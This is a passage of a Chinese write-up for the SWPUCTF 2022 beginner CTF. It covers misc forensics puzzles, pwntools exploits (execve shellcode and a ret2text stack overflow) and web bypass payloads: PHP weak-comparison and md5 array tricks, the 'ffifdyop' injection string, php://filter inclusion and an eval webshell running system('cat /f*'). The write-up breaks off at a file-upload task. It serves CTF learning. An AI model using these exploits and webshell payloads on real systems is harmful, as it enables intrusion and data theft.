SWPUCTF 2022 新生赛（更新中）

在线练习地址https://www.nssctf.cn/problem/sheet/14364

Crack Me

decompressing in different ways

两个文件都是伪加密，改压缩源文件目录区全局方式位标记

50 4B 01 02 3F 00 14 00 09 00
                         ↓
50 4B 01 02 3F 00 14 00 00 00

解压得到的两个文件完全一致，都是真加密

爆破得 8 位密码 23617894

NSSCTF{a80e8ac7-2f4a-418e-b81e-a9e15c3c0d28}

Capture!

I Hide Something in pixel

 010 里显示 CRC 异常，但是 CRC 校验数据正常，手动改宽高

TlNTQ1RGezNlMzgyNDk0LTMzNjMt
Base64↓
NSSCTF{3e382494-3363-

zsteg -a Capture\!.png

0nMwADMyEzYhJDNyATLxYjMh1CZlFTM
倒序↓
MTFlZC1hMjYxLTAyNDJhYzEyMDAwMn0
Base64↓
11ed-a261-0242ac120002}

NSSCTF{3e382494-3363-11ed-a261-0242ac120002}

Cycle Again

Two different types also similar

Last.png 图片宽度和高度为：0*0，CRC 校验 PNG 宽度和高度应为：2048*1152

NSSCTF{41d769db-

压缩包里都是 4 字节文本，CRC 爆破

NSSCTF{41d769db-9f5d-455e-a458-8012ba3660f3}

Coffee Please

Could you give me a cup of coffee in office?

NSSCTF{8ff8a53a-

ef86e8c84432}

剩下 word 文件内容不直观，但是本质都是 zip 文件，改后缀解压，源码里找

9378-4e78-b54a

NSSCTF{8ff8a53a-9378-4e78-b54a-ef86e8c84432}

Convert Something

Two ways to hide in text

Base64 隐写

NSSCTF{e16bc777-0d4a-4b74

 其中 285 行出现零宽字符隐写

-92b4-404bc0320da4}

NSSCTF{e16bc777-0d4a-4b74-92b4-404bc0320da4}

Does your nc work？

速来签到

直接 nc，在 /nss/ctf/ 目录下有 flag

Integer Overflow（lib2c 待解）

Pwn the world

 main 函数如下

overflow 函数如下 

choice1 函数如下 

shellcode？

 main 函数如下

使用 mmap 函数在内存地址 0x30303000 处分配 4096 个字节的内存空间，并将其设置为可读、可写和可执行

使用 read 函数从标准输入中读取 100 个字节的数据，并将其写入到之前分配的内存空间中

最后调用内存地址 0x30303000 中的内容

基础 ret2shellcode 类型

from pwn import *
context(log_level='debug',arch='amd64', os='linux')
p = remote('node5.anna.nssctf.cn', 28184)
payload = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
# 或者 payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

善哉善哉

善斋善哉，出题人以慈悲为怀

 套娃达咩.jpg 文件尾部有摩斯电码

--..-.--.--..../-..----.-.--.--/--..--.----..../--------...--.-./-...-.-.-----.../-..-.--.-.---.../-.-....---..---/-..-.--..-..--.-/-..-.-.--.-..--./-.-.-....----.-/-...-.-.-----.../-..-.-.--.-..--./-..-.--..-....../--..-...--.-..-/-..-.--.-.---.../-.-....---..---/-------..----.-/-....-.--.-.-..-/-..-.-.--.-..--./-.-.--.-.-..-../-..-.--..-..--.-/--..-.--.-.----/-.-.-..-.-..-../-..--.......-.../-..-.-.--.-..--./-.....-..---..-./-.-.--....--.-./-.-.--......---/-.-..-------.--/-..-.-.--.-..--./-.--..-..--.---/-.-.-.--.....--/-.-.-..--...--./-.-.--.-.--.-../-.-.-....--.--./-.....-----.-..-/-.....-.---..-.-/-.-.--......---/-.........-.-.../-.-.-..-..-..-./-..-.-.--.-..--./--....-....--.-/-..-.-.--.-..--./-.-.--.--..-..-/-.........-.-.../--...-..-....../-.-.--.-.-..-../-..-.-.--.-..--./-.-.--......---/-..-.-.--.-..--./-..-.--..-..--.-/-..-.--..-....../-.-..-------.--/--------....-.-/-.--.---.-...--/-.-.-....----.-/---.---..-----./-..-.--...------/--....-....--.-/-.....-----.-..-/-..-------.---./-.-------....--/-..-.--..-..--.-/-.-..-------.--/-..-.--..-....../-.-.--.-.-..-../-.-.-....----.-/-....---...---../-.-.-....--.--./--..-.--.-.----/-..-.-.--.-..--./-.-.--....--.-./--....-....--.-/-.-.-....----.-/-.....-.---..-.-/-.--.---.-...--/-.-.-..--...--./-.....-..---..-./-.--....-.----./-.-.--.--..-..-/-..----....----/-.-.--......---/--....-....--.-/-..-.--..-..--.-/-.-.--......---/-.-.-....----.-/-..-.-.---..--.-/-.-...-.-.---../-.-.-.--.----../-.--..--.....-.

把 / 换成空格解码↓

新佛曰：諸隸僧降閦吽諸閦陀摩隸僧缽薩閦嚤降斯咤須閦色嘚嘇叻閦夷喃哆嚴吶菩若嘇耨咒閦愍閦囉耨所嚤閦嘇閦降陀叻羅宣吽眾阿愍菩修心降叻陀嚤吽蜜吶斯閦嘚愍吽若宣哆色塞囉伏嘇愍降嘇吽闍兜喼如

新佛曰解码↓

施主，此次前来，不知有何贵干?

EXIF 信息（备注）里提示 MD5 加密，以 755 开头

flag{7551772a99379ed0ae6015a470c1e335}

有手就行的栈溢出

不正常的Backdoor

 main 函数如下

overflow 函数如下，get 函数存在溢出

gift 函数里有假后门 

 fun 函数里有真后门

后门地址 0x401257

基础 ret2text 类型

from pwn import *
context(log_level='debug',arch='amd64', os='linux')
p = remote('node5.anna.nssctf.cn', 28720)
system_bin_sh = 0x401257
payload = b'a'*(0x20+8) + p64(system_bin_sh)
p.sendline(payload)
p.interactive()

funny_web

听说有人夹带私货

登录跳转 NSS.php，弹窗如下 

 即用户名为 NSS

这个经查询是 2122693401，登录成功题目如下

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}

intval 函数将数字字符转为整数，用数字以外的字符拼接绕过

?num=12345@

奇妙的MD5

一串奇妙的字符串

ffifdyop 是注入的万能密码，配合 md5(string,raw) 出现

经过 md5 加密后：276f722736c95d99e921722cf9ed621c

再转换为字符串：'or'6<乱码> 即 'or'66�]��!r,��b

同效果的还有 129581926211651571912466741651878684928

右键源代码里注释如下

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

 绕过弱类型比较，MD5 不能加密数组，会返回 null

?x[]=1&y[]=2

 跳转题目如下，数组也可以绕过强比较

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
}

wqh[]=1&dsy[]=2

where_am_i

你猜我要你输什么

 OSINT，题有点老，现在好像电话改了

02886112888

ez_ez_php

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 
    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

substr 函数会获取前 3 个字符，PHP 伪协议

?file=php://filter/resource=flag.php

回显提示在 flag 文件里

?file=php://filter/resource=flag

webdog1__start

年轻的webdog哦，如果连这关都创不过还是去卷pwn和re吧

源代码里有注释如下

<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

利用特殊字符串，在解析弱比较时 0e215962017 会被截断解析为 0，且 MD5 加密后为 0e291242476940776845150308577824 同样会被截断解析为 0

?web=0e215962017

源代码里提示 bot，尝试 robots.txt 

 在 f14g.php 的响应头里提示 F1l1l1l1l1lag.php

 题目如下

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?>

既然只限制了 flag 字符串和空格，那不如写一句话木马直接绕过

?get=@eval($_GET[1]);&1=system('cat /f*');

Ez_upload

简单的文件上传

直接上传一句话木马提示后缀不能有 ph